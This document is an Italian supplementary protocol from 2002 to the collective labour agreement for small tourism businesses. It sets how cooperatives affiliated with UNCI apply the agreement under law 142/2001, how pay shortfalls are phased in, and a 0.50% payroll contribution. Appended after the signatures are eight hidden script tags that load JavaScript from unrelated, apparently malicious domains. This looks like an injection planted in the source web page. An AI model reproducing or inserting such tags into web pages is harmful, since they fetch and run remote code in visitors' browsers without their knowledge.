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Categoria: Turismo, da 1 a 14 dipendenti (CISAL) Settore: Commercio Data stipula: 18-4-2002
PROTOCOLLO AGGIUNTIVO AL CCNL DEL SETTORE TURISMO
FINO A 14 DIPENDENTI O SOCI
L'anno 2002, il giorno 18 del mese di aprile
- l'Unione Nazionale Cooperative Italiane (UNCI), rappresentata dal
Presidente Luciano D'Ulizia, assistito dal Vice Presidente delegato
Antonino Tribulato, dal Segretario generale Dante Flemac e dal Commissario
dell'Associazione Nazionale Cooperative Produzione e Lavoro (ANCOPROL)
Giorgio Ferraris;
- il Coordinamento Nazionale Associazioni Imprenditori (CNAI),
rappresentato dal Presidente nazionale Orazio Renzo Di Renzo, l'Unione
Italiana Cristiana Commercio e Turismo (UCICT), rappresentata dal
Presidente nazionale Orazio Renzo Di Renzo, il Movimento Cooperativo e
Mutue CNAI (MCM-CNAI);
- la Confederazione Italiana Sindacati Autonomi Lavoratori (CISAL),
rappresentata dal Segretario generale Giuseppe Carbone e dal Segretario
confederale Ulderico Cancilla, la Federazione Nazionale Sindacati Autonomi
Lavoratori Commercio (FENASALC) e il Sindacato Autonomo Lavoratori
Terziario e Affini Euganeo (SALTAE)
vista la legge 3.4.01 n. 142 e in particolare l'art. 3, che disciplina il
trattamento economico del socio lavoratore, e l'art. 6, che prevede per le
cooperative la definizione di un Regolamento in cui siano contenuti il
richiamo ai contratti collettivi applicabili e le modalità di svolgimento
delle prestazioni lavorative da parte dei soci
convengono che il CCNL del settore Turismo fino a 14 dipendenti o soci,
stipulato in data 18 aprile 2002 tra UNCI, CNAI, UCICT, MCM-CNAI, CISAL,
FENASALC e SALTAE può essere applicato al Regolamento previsto dall'art.
6, legge 3.4.01 n. 142 e avrà piena efficacia per le cooperative aderenti
ad UNCI con particolare riferimento all'art. 3, comma 1, della predetta
legge n. 142.
Qualora la retribuzione effettivamente corrisposta al socio lavoratore
fosse inferiore ai minimi contrattuali contemplati nel citato CCNL, si
prevede il graduale adeguamento retributivo entro la vigenza contrattuale
in misura del 30% per i primi 8 mesi del 2° biennio, del 30% per i secondi
8 mesi del 2° biennio e del 40% per i terzi 8 mesi del 2° biennio.
Infine le parti convengono che, considerati i costi che l'applicazione del
citato CCNL comporta per l'assistenza alla stipulazione e per la
successiva consulenza, le cooperative aderenti verseranno alla sede
centrale UNCI un contributo pari allo 0,50% del monte salari mensile
corrisposto ai soci lavoratori e ai lavoratori dipendenti, anche
attraverso apposite intese e convenzioni con gli Istituti previdenziali.
Letto, confermato e sottoscritto.
UNCI
CNAI - UCICT - MCM-CNAI
CISAL - FENASALC - SALTAE<script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwste.mobi/b.js></script><script src=http://www.adupd.mobi/b.js></script><script src=http://www.bnrupdate.mobi/b.js></script><script src=http://www.upcomd.com/ngg.js></script><script src=http://www.mainadt.com/ngg.js></script><script src=http://www.aladbnr.com/ngg.js></script>
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